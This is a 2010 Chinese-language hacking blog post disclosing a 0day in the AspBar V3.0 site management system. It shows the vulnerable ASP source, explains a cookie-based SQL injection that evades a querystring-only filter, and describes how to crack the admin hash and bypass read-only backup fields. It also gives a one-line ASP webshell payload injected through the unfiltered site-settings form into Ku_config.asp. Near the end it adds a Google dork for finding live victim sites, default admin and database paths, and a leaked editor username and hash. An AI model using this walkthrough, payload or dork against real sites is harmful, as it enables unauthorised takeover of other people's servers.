AspBar V3.0整站管理系统0day

2010, April 8, 9:28 AM. 漏洞分析
Submitted by admin

转载请注明:んㄗ葑訫鎖愛'S Blog   http://www.virusest.com/

AspBar V3.0整站管理系统存在Cookies注入漏洞

Ku_go.asp问题代码:

<%id=request("ku_id")
    set rsl=server.createobject("adodb.recordset")
 sqll="update ku_link set hits=hits+1 where ID="&ID&""
 rsl.open sqll,conn,1,3

set rs=server.createobject("adodb.recordset")
sql="select * from ku_link where id="&id
rs.open sql,conn,1,3

系统加了防注入,但是简单看了下防注入系统,防的很不好,只过滤了request.querystring方法,而request.form和request.Cookies方法就没管,这也就造成了很大的安全隐患。但是这套系统玩了半天,花了一天时间才拿下Shell。首先,找到网站,在网站的友情链接处单击鼠标右键,查看属性,得到这样的地址http://localhost/Ku_go.asp?ku_id=15,如图:

利用注入中转,本地进行Cookies注入,如图:我拿到官方的账号和密码,但是却没找到后台,郁闷,放弃!(注意手动添加表名)

 

后来,在网上找了个用此系统的网站,通过Cookies注入,拿到账号和密码,后台也有,但是恶心的地方来了,不知道大家注意到没有,该系统的密码是40位的,普通的MD5加密后都是16位和32位的,后来经过研究,他的加密算法是这样的,40位密码中前16位是明文密码经过MD5,16位加密后的的密码,而40位密码中后16位是经过MD5,32位加密的后16位,至于40位中间的8位我也不知道是怎么来的。说的有点拗口,总之,拿到密码后取其前16位去破解,就可得到明文密码。后来联系到开发者,交流后才知道这个MD5算法是别人写的,真是煞费苦心丫!这么恶心。好了,拿到密码进了后台后,第一时间想到的是看有没有数据库备份,很好,果然有,立马上传图片马,准备备份时,更恶心的地方来了,备份数据库的相对路径和绝对路径没法改,查看源代码后才发现多了个 readonly,如下:  <form method="post" action="ku_data.asp?action=BackupData">
            <tr>
              <td> 当前数据库路径(绝对路径):
                <input name="B_DBpath" type="text" id="B_DBpath" value="../Ku_data/Ku_database.mdb" size="60" class="button1" / readonly></td>
            </tr>
            <tr>
              <td height="25">备份数据库目录(绝对路径):
                <input name="B_BKpath" type="text" id="B_BKpath" value="../Databackup" size="60" class="button1" / readonly></td>
            </tr>
            <tr>
              <td>备份数据库名称(填写名称):
                <input type="button" name="tjiao" value="加日期" onClick="B_FileName.value='2009-10-9beifen.sql'"/>
                <input name="B_FileName" type="text" id="B_FileName" value="beifen.sql" size="35" class="button1" / readonly>
                <input name="submit2" type="submit" value="确定备份" class="button2" /></td>
            </tr>

这样没法改路径,也就备份不了了,不过这个可以突破的,将源代码保存到本地,将value值改成你的图片马的路径,然后将 <form method="post" action="ku_data.asp?action=BackupData"> 中的action值改成全路径,即http://www.xxxxx.com/admin/ku_data.asp?action=BackupData,保存后就可以本地提交备份了,但是在测试时问题又来了,当前数据库路径和备份目录不能改,改任何一个就会跳到http://www.xxxxx.com/admin/ku_data.asp?action=BackupData该页面,而备份名称可以随便改,后来郁闷了一会,查看了一下备份的代码,发现了更更恶心的东西,Ku_Data.asp中的备份过程是这么写的,Sub BackupData()
' On error resume next
 Dim FileConnStr, Fileconn, B_DBpath, B_BKpath, B_FileName
 
 B_DBpath = Request.Form("B_DBpath")
 B_DBpath = Server.Mappath(B_DBpath)   '恶心的地方在这,本来当前数据库路径从表单提取,但是多了这句,数据库路径变成从服务器上取得,本地修改的路径就无效了,
 B_BKpath = Request.Form("B_BKpath")
 B_BKpath = Server.Mappath(B_BKpath)  ‘备份目录也是这么干的,
 B_FileName = Request.Form("B_FileName")  ‘ 只有备份名称可以从本地提交,

 FileConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & B_DBpath
 Set Fileconn = Server.CreateObject("ADODB.Connection")
 Fileconn.open FileConnStr

  看到这,既然备份的名称可以从本地取得,那为何不在当前数据库插入一句话,然后备份成asp的格式,再用一句话连接备份后的数据库呢,想法是很单纯,现实是残酷的,当我看到一句话原样躺在数据库中,连接时,却出现语法错误的提示,不是我一句话的问题,而是他做了手脚,伤心了,看来这条路是走不通了,后来点到了系统设置时突然来了灵感,在网站配置那里试着插入一句话,然后再连接试试,将一句话进行到底,看了下系统配置Ku_Setup.asp页面是这么写的, if action="ok" then
     webname = trim(Request.form("webname"))
  miaoshu = trim(Request.form("miaoshu"))
  http = trim(Request.form("http"))
  http = trim(Request.form("http"))
     banben = trim(Request.form("banben"))
  email = trim(Request.form("email"))
  dianhua = trim(Request.form("dianhua"))
     qq = trim(Request.form("QQ"))
     beian = trim(Request.form("beian"))
     tongji = trim(Request.form("tongji"))         
  mokuai = trim(Request.form("mokuai"))
  database = trim(Request.form("data"))
  indexad = trim(Request.form("indexad"))
  artad = trim(Request.form("artad"))
  fenlei = trim(Request.form("fenlei"))
  cpad = trim(Request.form("cpad"))
  downad = trim(Request.form("downad"))
  kaifa = trim(Request.form("kaifa"))
  ad = trim(Request.form("ad"))
 voteincdir = server.mappath("../ku_inc/Ku_config.asp")
 Const ForReading =1, ForWriting = 2
 set fs = CreateObject("Scripting.FileSystemObject")
 set ts = fs.OpenTextFile(voteincdir,ForWriting, True)
 ts.Write ""
 ts.Write "<"
 ts.Write "%"& vbCrLf
 ts.Write " Ku_name= "&""""&webname&""""& vbCrLf
 ts.Write " Ku_web= "&""""&miaoshu&""""& vbCrLf
 ts.Write " Ku_tongji= "&""""&tongji&""""& vbCrLf
 ts.Write " Ku_beian= "&""""&beian&""""& vbCrLf
 ts.Write " Ku_net= "&""""&http&""""& vbCrLf
 ts.Write " Ku_ban= "&""""&banben&""""& vbCrLf
 ts.Write " Ku_email= "&""""&email&""""& vbCrLf
 ts.Write " Ku_tel = "&""""&dianhua&""""& vbCrLf
 ts.Write " Ku_qq = "&""""&qq&""""& vbCrLf
 ts.Write " Ku_webzz = "&""""&kaifa&""""& vbCrLf
 ts.Write " Ku_mokuai= "&""""&mokuai&""""& vbCrLf
 ts.Write " Ku_database= "&""""&database&""""& vbCrLf
 ts.Write " Ku_indexad= "&""""&indexad&""""& vbCrLf
 ts.Write " Ku_artad= "&""""&artad&""""& vbCrLf
 ts.Write " Ku_fl= "&""""&fenlei&""""& vbCrLf
 ts.Write " Ku_cpad= "&""""&cpad&""""& vbCrLf
 ts.Write " Ku_downad= "&""""&downad&""""& vbCrLf
 ts.Write " Ku_adss= "&""""&ad&""""& vbCrLf
 ts.Write "%"
 ts.Write ">"
 ts.close
 response.write "<script language=javascript>"
 response.write "alert('系统相关设置成功!');"
 response.write "</script>"
 response.redirect"ku_setup.asp"
    end if  

直接从form取得信息,并没过滤,然后写到ku_inc/Ku_config.asp文件中,前面也说了,防注入只对querystring感冒,其他的放行,先在本地测试,因为在这里一句话格式写不对会直接挂掉网站的,经过测试,一句话的格式为 "%><%execute(request("cmd"))%><%',写在开发商那里,提交后页面刷新了下,没破坏,

打开ku_inc/Ku_config.asp页面看到熟悉的字眼,一句话连上去拿到了Shell,

 

早想到这点,当初就不必在数据库那里瞎折腾了,╮(╯▽╰)╭。

利用:Google:inurl:Ku_shownews.asp,后台:admin/Ku_Login.asp  默认数据库:Ku_data\Ku_database.mdb  可以下载的(挖掘鸡?)

还有一个在线编辑器,登陆地址:Ku_web/Admin_Login.asp 

账号是guxing,密码没破出来,MD5加密后的是df8150673aaf363f,有兴趣的自己破解吧!

Tags: aspbar

« 上一篇 | 下一篇 »

只显示10条记录相关文章
AspBar 补的一个鸡肋 (浏览: 11067, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):